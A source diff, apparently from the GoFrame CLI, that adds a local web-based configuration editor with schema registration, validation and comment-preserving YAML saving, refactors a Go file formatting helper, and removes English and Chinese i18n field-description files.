"PProfEnabled": "PProf", "PProfPattern": "PProf",
|
||||
"OpenApiPath": "API", "SwaggerPath": "API", "SwaggerUITemplate": "API",
|
||||
"Graceful": "Graceful", "GracefulTimeout": "Graceful", "GracefulShutdownTimeout": "Graceful",
|
||||
"ClientMaxBodySize": "Other", "FormParsingMemory": "Other",
|
||||
"NameToUriType": "Other", "RouteOverWrite": "Other", "DumpRouterMap": "Other",
|
||||
"Endpoints": "Other", "Rewrites": "Other", "IndexFiles": "Other", "SearchPaths": "Other",
|
||||
"StaticPaths": "Other", "Listeners": "Other",
|
||||
})
|
||||
|
||||
// Database
|
||||
gcfg.RegisterSchema("database", "database", gdb.ConfigNode{}, map[string]string{
|
||||
"Host": "Connection", "Port": "Connection", "User": "Connection",
|
||||
"Pass": "Connection", "Name": "Connection", "Type": "Connection",
|
||||
"Link": "Connection", "Extra": "Connection", "Protocol": "Connection",
|
||||
"Charset": "Connection", "Timezone": "Connection", "Namespace": "Connection",
|
||||
"MaxIdleConnCount": "Pool", "MaxOpenConnCount": "Pool",
|
||||
"MaxConnLifeTime": "Pool", "MaxIdleConnTime": "Pool",
|
||||
"Role": "Role", "Debug": "Role", "Prefix": "Role", "DryRun": "Role", "Weight": "Role",
|
||||
"QueryTimeout": "Timeout", "ExecTimeout": "Timeout",
|
||||
"TranTimeout": "Timeout", "PrepareTimeout": "Timeout",
|
||||
"CreatedAt": "AutoTimestamp", "UpdatedAt": "AutoTimestamp",
|
||||
"DeletedAt": "AutoTimestamp", "TimeMaintainDisabled": "AutoTimestamp",
|
||||
})
|
||||
|
||||
// Redis
|
||||
gcfg.RegisterSchema("redis", "redis", gredis.Config{}, map[string]string{
|
||||
"Address": "Connection", "Db": "Connection", "User": "Connection",
|
||||
"Pass": "Connection", "Protocol": "Connection",
|
||||
"MinIdle": "Pool", "MaxIdle": "Pool", "MaxActive": "Pool",
|
||||
"MaxConnLifetime": "Pool", "IdleTimeout": "Pool", "WaitTimeout": "Pool",
|
||||
"DialTimeout": "Timeout", "ReadTimeout": "Timeout", "WriteTimeout": "Timeout",
|
||||
"MasterName": "Sentinel", "SentinelUser": "Sentinel", "SentinelPass": "Sentinel",
|
||||
"TLS": "Security", "TLSSkipVerify": "Security",
|
||||
"SlaveOnly": "Security", "Cluster": "Security",
|
||||
})
|
||||
|
||||
// Logger
|
||||
gcfg.RegisterSchema("logger", "logger", glog.Config{}, map[string]string{
|
||||
"Flags": "Basic", "TimeFormat": "Basic", "Path": "Basic",
|
||||
"File": "Basic", "Level": "Basic", "Prefix": "Basic",
|
||||
"HeaderPrint": "Output", "StdoutPrint": "Output", "LevelPrint": "Output",
|
||||
"StdoutColorDisabled": "Output", "WriterColorEnable": "Output",
|
||||
"StSkip": "Stack", "StStatus": "Stack", "StFilter": "Stack",
|
||||
"RotateSize": "Rotate", "RotateExpire": "Rotate",
|
||||
"RotateBackupLimit": "Rotate", "RotateBackupExpire": "Rotate",
|
||||
"RotateBackupCompress": "Rotate", "RotateCheckInterval": "Rotate",
|
||||
})
|
||||
|
||||
// Viewer
|
||||
gcfg.RegisterSchema("viewer", "viewer", gview.Config{}, map[string]string{
|
||||
"Paths": "Basic", "Data": "Basic", "DefaultFile": "Basic",
|
||||
"Delimiters": "Basic", "AutoEncode": "Basic",
|
||||
})
|
||||
}
|
||||
|
||||
// Index starts the config editor web server.
|
||||
func (c cCfgEditor) Index(ctx context.Context, in cCfgEditorInput) (out *cCfgEditorOutput, err error) {
|
||||
mlog.Printf("[ConfigEditor] Starting with port=%d, file=%q", in.Port, in.File)
|
||||
|
||||
// Verify embedded i18n files are accessible.
|
||||
for _, lang := range []string{"en", "zh-CN"} {
|
||||
path := "resources/i18n/" + lang + ".yaml"
|
||||
if data, e := i18nFS.ReadFile(path); e != nil {
|
||||
mlog.Printf("[ConfigEditor] WARNING: embedded i18n file %q not found: %v", path, e)
|
||||
} else {
|
||||
mlog.Printf("[ConfigEditor] Embedded i18n file %q loaded, size=%d bytes", path, len(data))
|
||||
}
|
||||
}
|
||||
|
||||
s := g.Server("gf-config-editor")
|
||||
s.SetPort(in.Port)
|
||||
s.SetDumpRouterMap(false)
|
||||
|
||||
// API endpoints.
|
||||
s.Group("/api", func(group *ghttp.RouterGroup) {
|
||||
group.GET("/schemas", apiGetSchemas)
|
||||
group.GET("/config", apiGetConfig(in.File))
|
||||
group.POST("/config/validate", apiValidateConfig)
|
||||
group.POST("/config/save", apiSaveConfig)
|
||||
group.GET("/i18n/:lang", apiGetI18n)
|
||||
})
|
||||
|
||||
// Serve embedded static files.
|
||||
s.BindHandler("/static/*", func(r *ghttp.Request) {
|
||||
filePath := strings.TrimPrefix(r.URL.Path, "/static/")
|
||||
data, err := fs.ReadFile(staticFS, "resources/static/"+filePath)
|
||||
if err != nil {
|
||||
r.Response.WriteStatus(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if strings.HasSuffix(filePath, ".js") {
|
||||
r.Response.Header().Set("Content-Type", "application/javascript; charset=utf-8")
|
||||
} else if strings.HasSuffix(filePath, ".css") {
|
||||
r.Response.Header().Set("Content-Type", "text/css; charset=utf-8")
|
||||
}
|
||||
r.Response.Header().Set("Cache-Control", "public, max-age=86400")
|
||||
r.Response.Write(data)
|
||||
})
|
||||
|
||||
// Serve the embedded UI.
|
||||
s.BindHandler("/", func(r *ghttp.Request) {
|
||||
r.Response.WriteHeader(http.StatusOK)
|
||||
r.Response.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
r.Response.Write(configEditorHTML)
|
||||
})
|
||||
|
||||
addr := fmt.Sprintf("http://127.0.0.1:%d", in.Port)
|
||||
mlog.Printf("[ConfigEditor] GoFrame Config Editor starting at %s", addr)
|
||||
|
||||
go func() {
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
if err := openBrowser(addr); err != nil {
|
||||
mlog.Printf("[ConfigEditor] WARNING: failed to open browser: %v", err)
|
||||
}
|
||||
}()
|
||||
|
||||
s.Run()
|
||||
return
|
||||
}
|
||||
|
||||
// apiGetSchemas returns all registered module schemas.
|
||||
func apiGetSchemas(r *ghttp.Request) {
|
||||
schemas := gcfg.GetAllSchemas()
|
||||
r.Response.WriteJsonExit(g.Map{
|
||||
"code": 0,
|
||||
"data": schemas,
|
||||
})
|
||||
}
|
||||
|
||||
// apiGetConfig returns the current configuration values.
|
||||
func apiGetConfig(file string) func(r *ghttp.Request) {
|
||||
return func(r *ghttp.Request) {
|
||||
configFile := file
|
||||
if configFile == "" {
|
||||
searchPaths := []string{
|
||||
"config.yaml", "config.yml", "config.toml", "config.json",
|
||||
"config/config.yaml", "config/config.yml",
|
||||
"config/config.toml", "config/config.json",
|
||||
"manifest/config/config.yaml", "manifest/config/config.yml",
|
||||
"manifest/config/config.toml", "manifest/config/config.json",
|
||||
"app.yaml", "app.yml",
|
||||
}
|
||||
for _, name := range searchPaths {
|
||||
if gfile.Exists(name) {
|
||||
configFile = name
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
data := g.Map{}
|
||||
filePath := ""
|
||||
fileType := ""
|
||||
if configFile != "" && gfile.Exists(configFile) {
|
||||
filePath = gfile.RealPath(configFile)
|
||||
fileType = gfile.ExtName(configFile)
|
||||
content := gfile.GetBytes(configFile)
|
||||
j, err := gjson.LoadContent(content)
|
||||
if err != nil {
|
||||
r.Response.WriteJsonExit(g.Map{
|
||||
"code": 1,
|
||||
"message": fmt.Sprintf("Failed to parse config file %q: %v", filePath, err),
|
||||
})
|
||||
return
|
||||
}
|
||||
data = j.Map()
|
||||
}
|
||||
|
||||
r.Response.WriteJsonExit(g.Map{
|
||||
"code": 0,
|
||||
"data": g.Map{
|
||||
"config": data,
|
||||
"filePath": filePath,
|
||||
"fileType": fileType,
|
||||
},
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// apiValidateConfig validates configuration values using gvalid.
|
||||
func apiValidateConfig(r *ghttp.Request) {
|
||||
var reqData struct {
|
||||
Module string `json:"module"`
|
||||
Values map[string]any `json:"values"`
|
||||
}
|
||||
if err := r.Parse(&reqData); err != nil {
|
||||
r.Response.WriteJsonExit(g.Map{"code": 1, "message": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
schema, ok := gcfg.GetSchema(reqData.Module)
|
||||
if !ok {
|
||||
r.Response.WriteJsonExit(g.Map{"code": 1, "message": fmt.Sprintf("module %q not found", reqData.Module)})
|
||||
return
|
||||
}
|
||||
|
||||
// Build validation rules from schema fields.
|
||||
var rules []string
|
||||
for _, field := range schema.Fields {
|
||||
if field.Rule == "" {
|
||||
continue
|
||||
}
|
||||
rule := field.JsonKey + "|" + field.Rule
|
||||
rules = append(rules, rule)
|
||||
}
|
||||
|
||||
if len(rules) > 0 {
|
||||
if err := gvalid.New().Data(reqData.Values).Rules(rules).Run(r.Context()); err != nil {
|
||||
// Parse validation errors into field-level messages.
|
||||
validationErrors := make(map[string]string)
|
||||
if vErr, ok := err.(gvalid.Error); ok {
|
||||
for _, item := range vErr.Items() {
|
||||
for field, ruleErrMap := range item {
|
||||
for _, ruleErr := range ruleErrMap {
|
||||
validationErrors[field] = ruleErr.Error()
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
validationErrors["_general"] = err.Error()
|
||||
}
|
||||
r.Response.WriteJsonExit(g.Map{
|
||||
"code": 1,
|
||||
"message": "Validation failed",
|
||||
"errors": validationErrors,
|
||||
})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
r.Response.WriteJsonExit(g.Map{
|
||||
"code": 0,
|
||||
"message": "Valid",
|
||||
})
|
||||
}
|
||||
|
||||
// apiSaveConfig saves configuration to file.
|
||||
func apiSaveConfig(r *ghttp.Request) {
|
||||
var reqData struct {
|
||||
Config map[string]any `json:"config"`
|
||||
FilePath string `json:"filePath"`
|
||||
FileType string `json:"fileType"`
|
||||
}
|
||||
if err := r.Parse(&reqData); err != nil {
|
||||
r.Response.WriteJsonExit(g.Map{"code": 1, "message": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if reqData.FilePath == "" {
|
||||
reqData.FilePath = "config.yaml"
|
||||
reqData.FileType = "yaml"
|
||||
}
|
||||
|
||||
var err error
|
||||
switch reqData.FileType {
|
||||
case "yaml", "yml":
|
||||
err = saveYAMLPreservingComments(reqData.FilePath, reqData.Config)
|
||||
default:
|
||||
j := gjson.New(reqData.Config)
|
||||
var content string
|
||||
switch reqData.FileType {
|
||||
case "toml":
|
||||
content, err = j.ToTomlString()
|
||||
case "json":
|
||||
content, err = j.ToJsonIndentString()
|
||||
case "ini":
|
||||
content, err = j.ToIniString()
|
||||
default:
|
||||
content, err = j.ToYamlString()
|
||||
}
|
||||
if err == nil {
|
||||
err = gfile.PutContents(reqData.FilePath, content)
|
||||
}
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
r.Response.WriteJsonExit(g.Map{"code": 1, "message": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
r.Response.WriteJsonExit(g.Map{
|
||||
"code": 0,
|
||||
"message": "Configuration saved successfully",
|
||||
"data": g.Map{
|
||||
"filePath": gfile.RealPath(reqData.FilePath),
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// saveYAMLPreservingComments writes the config map to a YAML file while preserving
|
||||
// any existing comments in the file.
|
||||
func saveYAMLPreservingComments(filePath string, newConfig map[string]any) error {
|
||||
var (
|
||||
docNode yaml.Node
|
||||
indent = 2
|
||||
)
|
||||
|
||||
if gfile.Exists(filePath) {
|
||||
content := gfile.GetBytes(filePath)
|
||||
indent = detectYAMLIndent(content)
|
||||
if err := yaml.Unmarshal(content, &docNode); err != nil {
|
||||
docNode = yaml.Node{}
|
||||
}
|
||||
}
|
||||
|
||||
if docNode.Kind == 0 {
|
||||
docNode = yaml.Node{Kind: yaml.DocumentNode}
|
||||
docNode.Content = []*yaml.Node{{Kind: yaml.MappingNode, Tag: "!!map"}}
|
||||
} else if docNode.Kind == yaml.DocumentNode {
|
||||
if len(docNode.Content) == 0 {
|
||||
docNode.Content = []*yaml.Node{{Kind: yaml.MappingNode, Tag: "!!map"}}
|
||||
} else if docNode.Content[0].Kind != yaml.MappingNode {
|
||||
docNode.Content = []*yaml.Node{{Kind: yaml.MappingNode, Tag: "!!map"}}
|
||||
}
|
||||
}
|
||||
|
||||
applyMapToYAMLNode(docNode.Content[0], newConfig)
|
||||
|
||||
var buf strings.Builder
|
||||
enc := yaml.NewEncoder(&buf)
|
||||
enc.SetIndent(indent)
|
||||
if err := enc.Encode(&docNode); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = enc.Close()
|
||||
return gfile.PutContents(filePath, buf.String())
|
||||
}
|
||||
|
||||
// detectYAMLIndent returns the number of spaces used for indentation in the YAML content.
|
||||
func detectYAMLIndent(content []byte) int {
|
||||
for _, line := range strings.Split(string(content), "\n") {
|
||||
trimmed := strings.TrimLeft(line, " ")
|
||||
if len(trimmed) == 0 || strings.HasPrefix(trimmed, "#") {
|
||||
continue
|
||||
}
|
||||
spaces := len(line) - len(trimmed)
|
||||
if spaces > 0 {
|
||||
return spaces
|
||||
}
|
||||
}
|
||||
return 2
|
||||
}
|
||||
|
||||
// applyMapToYAMLNode recursively merges updates into an existing yaml.MappingNode,
|
||||
// preserving comments and formatting style on nodes that already exist.
|
||||
func applyMapToYAMLNode(mappingNode *yaml.Node, updates map[string]any) {
|
||||
if mappingNode.Kind != yaml.MappingNode {
|
||||
return
|
||||
}
|
||||
keyIndex := make(map[string]int)
|
||||
for i := 0; i < len(mappingNode.Content)-1; i += 2 {
|
||||
keyIndex[mappingNode.Content[i].Value] = i + 1
|
||||
}
|
||||
|
||||
for key, value := range updates {
|
||||
valIdx, exists := keyIndex[key]
|
||||
if !exists {
|
||||
keyNode := &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!str", Value: key}
|
||||
valNode := anyToYAMLNode(value)
|
||||
mappingNode.Content = append(mappingNode.Content, keyNode, valNode)
|
||||
keyIndex[key] = len(mappingNode.Content) - 1
|
||||
} else {
|
||||
existingVal := mappingNode.Content[valIdx]
|
||||
updateYAMLNodeInPlace(existingVal, value)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// updateYAMLNodeInPlace updates the yaml.Node in place to reflect newValue
|
||||
// while maximally preserving the original formatting style and comments.
|
||||
func updateYAMLNodeInPlace(node *yaml.Node, newValue any) {
|
||||
head, line, foot := node.HeadComment, node.LineComment, node.FootComment
|
||||
|
||||
switch v := newValue.(type) {
|
||||
case map[string]any:
|
||||
if node.Kind == yaml.MappingNode {
|
||||
applyMapToYAMLNode(node, v)
|
||||
return
|
||||
}
|
||||
*node = *anyToYAMLNode(v)
|
||||
|
||||
case []any:
|
||||
if node.Kind == yaml.SequenceNode {
|
||||
style := node.Style
|
||||
newSeq := anyToYAMLNode(v)
|
||||
*node = *newSeq
|
||||
node.Style = style
|
||||
} else {
|
||||
*node = *anyToYAMLNode(v)
|
||||
}
|
||||
|
||||
default:
|
||||
newNode := anyToYAMLNode(v)
|
||||
if node.Kind == yaml.ScalarNode && newNode.Kind == yaml.ScalarNode {
|
||||
node.Value = newNode.Value
|
||||
node.Tag = newNode.Tag
|
||||
} else {
|
||||
*node = *newNode
|
||||
}
|
||||
}
|
||||
|
||||
node.HeadComment, node.LineComment, node.FootComment = head, line, foot
|
||||
}
|
||||
|
||||
// anyToYAMLNode converts a Go value to a yaml.Node.
|
||||
func anyToYAMLNode(v any) *yaml.Node {
|
||||
if v == nil {
|
||||
return &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!null", Value: "null"}
|
||||
}
|
||||
switch val := v.(type) {
|
||||
case map[string]any:
|
||||
node := &yaml.Node{Kind: yaml.MappingNode, Tag: "!!map"}
|
||||
for k, vv := range val {
|
||||
keyNode := &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!str", Value: k}
|
||||
valNode := anyToYAMLNode(vv)
|
||||
node.Content = append(node.Content, keyNode, valNode)
|
||||
}
|
||||
return node
|
||||
case []any:
|
||||
node := &yaml.Node{Kind: yaml.SequenceNode, Tag: "!!seq"}
|
||||
for _, item := range val {
|
||||
node.Content = append(node.Content, anyToYAMLNode(item))
|
||||
}
|
||||
return node
|
||||
case bool:
|
||||
s := "false"
|
||||
if val {
|
||||
s = "true"
|
||||
}
|
||||
return &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!bool", Value: s}
|
||||
case int:
|
||||
return &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!int", Value: strconv.Itoa(val)}
|
||||
case int64:
|
||||
return &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!int", Value: strconv.FormatInt(val, 10)}
|
||||
case float64:
|
||||
s := strconv.FormatFloat(val, 'f', -1, 64)
|
||||
return &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!float", Value: s}
|
||||
case string:
|
||||
return &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!str", Value: val}
|
||||
default:
|
||||
return &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!str", Value: fmt.Sprintf("%v", v)}
|
||||
}
|
||||
}
|
||||
|
||||
// apiGetI18n returns i18n translations for the given language.
|
||||
func apiGetI18n(r *ghttp.Request) {
|
||||
lang := r.Get("lang").String()
|
||||
if lang == "" {
|
||||
lang = "en"
|
||||
}
|
||||
|
||||
fileName := lang + ".yaml"
|
||||
filePath := "resources/i18n/" + fileName
|
||||
|
||||
content, err := i18nFS.ReadFile(filePath)
|
||||
if err != nil {
|
||||
r.Response.WriteJsonExit(g.Map{
|
||||
"code": 0,
|
||||
"data": g.Map{},
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
var translations map[string]string
|
||||
if err = gyaml.DecodeTo(content, &translations); err != nil {
|
||||
r.Response.WriteJsonExit(g.Map{
|
||||
"code": 0,
|
||||
"data": g.Map{},
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
r.Response.WriteJsonExit(g.Map{
|
||||
"code": 0,
|
||||
"data": translations,
|
||||
})
|
||||
}
|
||||
|
||||
// openBrowser opens the default browser to the given URL.
|
||||
func openBrowser(url string) error {
|
||||
var cmd *exec.Cmd
|
||||
switch runtime.GOOS {
|
||||
case "darwin":
|
||||
cmd = exec.Command("open", url)
|
||||
case "windows":
|
||||
cmd = exec.Command("rundll32", "url.dll,FileProtocolHandler", url)
|
||||
default:
|
||||
cmd = exec.Command("xdg-open", url)
|
||||
}
|
||||
return cmd.Start()
|
||||
}
|
||||
@ -232,14 +232,17 @@ func (c cInit) initFromBuiltin(ctx context.Context, in cInitInput) (out *cInitOu
|
||||
return content
|
||||
}
|
||||
}
|
||||
mlog.Debugf("replace %s %s to %s", path, cInitRepoPrefix+templateRepoName, in.Module)
|
||||
return gstr.Replace(gfile.GetContents(path), cInitRepoPrefix+templateRepoName, in.Module)
|
||||
}, in.Name, "*", true)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Format the generated Go files.
|
||||
utils.GoFmt(in.Name)
|
||||
// Format the generated Go files using go/format (not goimports).
|
||||
// utils.GoFmt uses imports.Process which may remove local import paths that cannot
|
||||
// be resolved in the GOPATH or module cache right after generation (e.g. "myapp/api/hello/v1").
|
||||
geninit.FormatGoFiles(in.Name)
|
||||
|
||||
// Update the GoFrame version.
|
||||
if in.Update {
|
||||
|
||||
@ -85,7 +85,7 @@ func generateProject(ctx context.Context, srcPath, name, oldModule, newModule st
|
||||
// 6. Format the generated Go files using go/format (not imports.Process)
|
||||
// Note: We use formatGoFiles instead of utils.GoFmt because imports.Process
|
||||
// may incorrectly "fix" local import paths by replacing them with cached module paths.
|
||||
formatGoFiles(dstPath)
|
||||
FormatGoFiles(dstPath)
|
||||
|
||||
mlog.Print("Project generated successfully!")
|
||||
return nil
|
||||
@ -115,10 +115,10 @@ func upgradeDependencies(ctx context.Context, projectDir string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// formatGoFiles formats all Go files in the directory using go/format.
|
||||
// FormatGoFiles formats all Go files in the directory using go/format.
|
||||
// Unlike imports.Process, this only formats code without modifying imports,
|
||||
// which prevents incorrect "fixing" of local import paths.
|
||||
func formatGoFiles(dir string) {
|
||||
func FormatGoFiles(dir string) {
|
||||
files, err := findGoFiles(dir)
|
||||
if err != nil {
|
||||
mlog.Printf("Failed to find Go files for formatting: %v", err)
|
||||
|
||||
@ -1,137 +0,0 @@
|
||||
# GoFrame Configuration Field Descriptions - English
|
||||
# Used by the config visual editor for field descriptions
|
||||
|
||||
# Server Module
|
||||
config.server.name: "Service name for registry and discovery"
|
||||
config.server.address: "Server listening address like ':port' or 'ip:port', multiple addresses joined with ','"
|
||||
config.server.httpsAddr: "HTTPS listening address, multiple addresses joined with ','"
|
||||
config.server.endpoints: "Custom endpoints for service register, uses Address if empty"
|
||||
config.server.httpsCertPath: "HTTPS certification file path"
|
||||
config.server.httpsKeyPath: "HTTPS key file path"
|
||||
config.server.readTimeout: "HTTP read timeout duration for entire request including body"
|
||||
config.server.writeTimeout: "HTTP write timeout duration for response"
|
||||
config.server.idleTimeout: "HTTP idle timeout for keep-alive connections"
|
||||
config.server.maxHeaderBytes: "Maximum number of bytes for parsing request header (default 10KB)"
|
||||
config.server.keepAlive: "Enable HTTP keep-alive connections"
|
||||
config.server.serverAgent: "Server agent string in HTTP response header"
|
||||
config.server.rewrites: "URI rewrite rules map"
|
||||
config.server.indexFiles: "Index files for static folder"
|
||||
config.server.indexFolder: "Allow listing sub-files when requesting folder"
|
||||
config.server.serverRoot: "Root directory for static file service"
|
||||
config.server.searchPaths: "Additional searching directories for static service"
|
||||
config.server.fileServerEnabled: "Global switch for static file service"
|
||||
config.server.cookieMaxAge: "Maximum TTL for cookie items"
|
||||
config.server.cookiePath: "Cookie path, also affects session id storage"
|
||||
config.server.cookieDomain: "Cookie domain, also affects session id storage"
|
||||
config.server.cookieSameSite: "Cookie SameSite property"
|
||||
config.server.cookieSecure: "Cookie Secure flag"
|
||||
config.server.cookieHttpOnly: "Cookie HttpOnly flag"
|
||||
config.server.sessionIdName: "Session ID name in cookie"
|
||||
config.server.sessionMaxAge: "Maximum TTL for session items"
|
||||
config.server.sessionPath: "Session file storage directory path"
|
||||
config.server.sessionCookieMaxAge: "Cookie TTL for session id (0 = expires with browser)"
|
||||
config.server.sessionCookieOutput: "Automatically output session id to cookie"
|
||||
config.server.logPath: "Directory path for storing log files"
|
||||
config.server.logLevel: "Logging level (all, debug, info, notice, warning, error, critical)"
|
||||
config.server.logStdout: "Output log content to stdout"
|
||||
config.server.errorStack: "Log stack trace on error"
|
||||
config.server.errorLogEnabled: "Enable error log to files"
|
||||
config.server.errorLogPattern: "Error log file name pattern"
|
||||
config.server.accessLogEnabled: "Enable access log to files"
|
||||
config.server.accessLogPattern: "Access log file name pattern"
|
||||
config.server.pprofEnabled: "Enable PProf feature for performance profiling"
|
||||
config.server.pprofPattern: "PProf service route pattern"
|
||||
config.server.openapiPath: "OpenApi specification file path"
|
||||
config.server.swaggerPath: "Swagger UI route path"
|
||||
config.server.swaggerUITemplate: "Custom Swagger UI HTML template"
|
||||
config.server.graceful: "Enable graceful reload for all servers"
|
||||
config.server.gracefulTimeout: "Maximum survival time (seconds) of parent process during graceful reload"
|
||||
config.server.gracefulShutdownTimeout: "Maximum time (seconds) before stopping server during shutdown"
|
||||
config.server.clientMaxBodySize: "Maximum client request body size in bytes (default 8MB)"
|
||||
config.server.formParsingMemory: "Maximum memory buffer for parsing multimedia forms (default 1MB)"
|
||||
config.server.nameToUriType: "Method name to URI conversion type (0=default, 1=fullname, 2=alllower, 3=camel)"
|
||||
config.server.routeOverWrite: "Allow overwriting duplicate routes"
|
||||
config.server.dumpRouterMap: "Dump router map on server start"
|
||||
|
||||
# Database Module
|
||||
config.database.host: "Database server address (IP or domain)"
|
||||
config.database.port: "Database server port number"
|
||||
config.database.user: "Authentication username"
|
||||
config.database.pass: "Authentication password"
|
||||
config.database.name: "Default database name"
|
||||
config.database.type: "Database type (mysql, pgsql, sqlite, mssql, oracle, clickhouse, dm)"
|
||||
config.database.link: "Custom connection string combining all config"
|
||||
config.database.extra: "Additional options for third-party drivers"
|
||||
config.database.role: "Node role in master-slave setup (master/slave)"
|
||||
config.database.debug: "Enable debug mode for logging"
|
||||
config.database.prefix: "Table name prefix"
|
||||
config.database.dryRun: "Simulation mode: execute SELECT only, skip INSERT/UPDATE/DELETE"
|
||||
config.database.weight: "Node weight for load balancing"
|
||||
config.database.charset: "Character set for database operations"
|
||||
config.database.protocol: "Network protocol for connection"
|
||||
config.database.timezone: "Time zone for timestamp interpretation"
|
||||
config.database.namespace: "Schema namespace (e.g., PostgreSQL schema)"
|
||||
config.database.maxIdle: "Maximum idle connections in pool"
|
||||
config.database.maxOpen: "Maximum open connections (0=unlimited)"
|
||||
config.database.maxLifeTime: "Maximum connection lifetime"
|
||||
config.database.maxIdleTime: "Maximum connection idle time before close"
|
||||
config.database.queryTimeout: "DQL (SELECT) query timeout"
|
||||
config.database.execTimeout: "DML (INSERT/UPDATE/DELETE) execution timeout"
|
||||
config.database.tranTimeout: "Transaction block timeout"
|
||||
config.database.prepareTimeout: "Prepare statement timeout"
|
||||
config.database.createdAt: "Auto timestamp field name for record creation"
|
||||
config.database.updatedAt: "Auto timestamp field name for record update"
|
||||
config.database.deletedAt: "Auto timestamp field name for soft delete"
|
||||
config.database.timeMaintainDisabled: "Disable automatic time maintenance"
|
||||
|
||||
# Redis Module
|
||||
config.redis.address: "Redis server address, multiple addresses joined with ',' for cluster"
|
||||
config.redis.db: "Redis database index (0-15)"
|
||||
config.redis.user: "Username for AUTH (Redis 6.0+)"
|
||||
config.redis.pass: "Password for AUTH"
|
||||
config.redis.sentinelUser: "Username for Sentinel AUTH"
|
||||
config.redis.sentinelPass: "Password for Sentinel AUTH"
|
||||
config.redis.minIdle: "Minimum idle connections in pool"
|
||||
config.redis.maxIdle: "Maximum idle connections in pool"
|
||||
config.redis.maxActive: "Maximum active connections (0=unlimited)"
|
||||
config.redis.maxConnLifetime: "Maximum connection lifetime"
|
||||
config.redis.idleTimeout: "Idle connection timeout"
|
||||
config.redis.waitTimeout: "Wait timeout for connection from pool"
|
||||
config.redis.dialTimeout: "Dial connection timeout for TCP"
|
||||
config.redis.readTimeout: "Read timeout for TCP"
|
||||
config.redis.writeTimeout: "Write timeout for TCP"
|
||||
config.redis.masterName: "Master name for Redis Sentinel mode"
|
||||
config.redis.tls: "Enable TLS connection"
|
||||
config.redis.tlsSkipVerify: "Skip TLS server name verification"
|
||||
config.redis.slaveOnly: "Route all commands to slave read-only nodes"
|
||||
config.redis.cluster: "Enable cluster mode"
|
||||
config.redis.protocol: "RESP protocol version (2 or 3)"
|
||||
|
||||
# Logger Module
|
||||
config.logger.flags: "Extra flags for logging output features"
|
||||
config.logger.timeFormat: "Logging time format pattern"
|
||||
config.logger.path: "Logging directory path for file output"
|
||||
config.logger.file: "Log file name pattern (supports datetime like {Y-m-d})"
|
||||
config.logger.level: "Output level bitmask (DEBU=16, INFO=32, NOTI=64, WARN=128, ERRO=256, CRIT=512, ALL=992)"
|
||||
config.logger.prefix: "Prefix string for every log entry"
|
||||
config.logger.headerPrint: "Print log header"
|
||||
config.logger.stdoutPrint: "Output log to stdout"
|
||||
config.logger.levelPrint: "Print level string in log"
|
||||
config.logger.stSkip: "Stack skip count from end point"
|
||||
config.logger.stStatus: "Stack trace status (1=enabled, 0=disabled)"
|
||||
config.logger.stFilter: "Stack string filter pattern"
|
||||
config.logger.rotateSize: "Rotate log file when size exceeds (bytes, 0=disabled)"
|
||||
config.logger.rotateExpire: "Rotate log file when mtime exceeds this duration"
|
||||
config.logger.rotateBackupLimit: "Maximum rotated backup files (0=no limit)"
|
||||
config.logger.rotateBackupExpire: "Rotated backup file expiration"
|
||||
config.logger.rotateBackupCompress: "Gzip compression level for backup (0=no compression)"
|
||||
config.logger.rotateCheckInterval: "Async rotate check interval"
|
||||
config.logger.stdoutColorDisabled: "Disable color output to stdout"
|
||||
config.logger.writerColorEnable: "Enable color output to writer"
|
||||
|
||||
# Viewer Module
|
||||
config.viewer.paths: "Template search paths"
|
||||
config.viewer.data: "Global template variables"
|
||||
config.viewer.defaultFile: "Default template file for parsing"
|
||||
config.viewer.delimiters: "Custom template delimiters (left, right)"
|
||||
config.viewer.autoEncode: "Auto HTML encode for XSS safety"
|
||||
@ -1,137 +0,0 @@
|
||||
# GoFrame 配置字段描述 - 中文
|
||||
# 用于配置可视化编辑器的字段描述
|
||||
|
||||
# Server 模块
|
||||
config.server.name: "服务名称，用于服务注册与发现"
|
||||
config.server.address: "服务监听地址，格式如 ':端口' 或 'IP:端口'，多个地址用 ',' 分隔"
|
||||
config.server.httpsAddr: "HTTPS 监听地址，多个地址用 ',' 分隔"
|
||||
config.server.endpoints: "自定义服务注册端点，为空则使用 Address"
|
||||
config.server.httpsCertPath: "HTTPS 证书文件路径"
|
||||
config.server.httpsKeyPath: "HTTPS 密钥文件路径"
|
||||
config.server.readTimeout: "HTTP 请求读取超时时间（包含请求体）"
|
||||
config.server.writeTimeout: "HTTP 响应写入超时时间"
|
||||
config.server.idleTimeout: "HTTP 空闲连接超时时间"
|
||||
config.server.maxHeaderBytes: "请求头最大字节数（默认 10KB）"
|
||||
config.server.keepAlive: "是否启用 HTTP Keep-Alive"
|
||||
config.server.serverAgent: "HTTP 响应头中的 Server 字段值"
|
||||
config.server.rewrites: "URI 重写规则映射"
|
||||
config.server.indexFiles: "静态文件夹的索引文件列表"
|
||||
config.server.indexFolder: "是否允许列出文件夹内容"
|
||||
config.server.serverRoot: "静态文件服务根目录"
|
||||
config.server.searchPaths: "静态文件服务的额外搜索路径"
|
||||
config.server.fileServerEnabled: "静态文件服务全局开关"
|
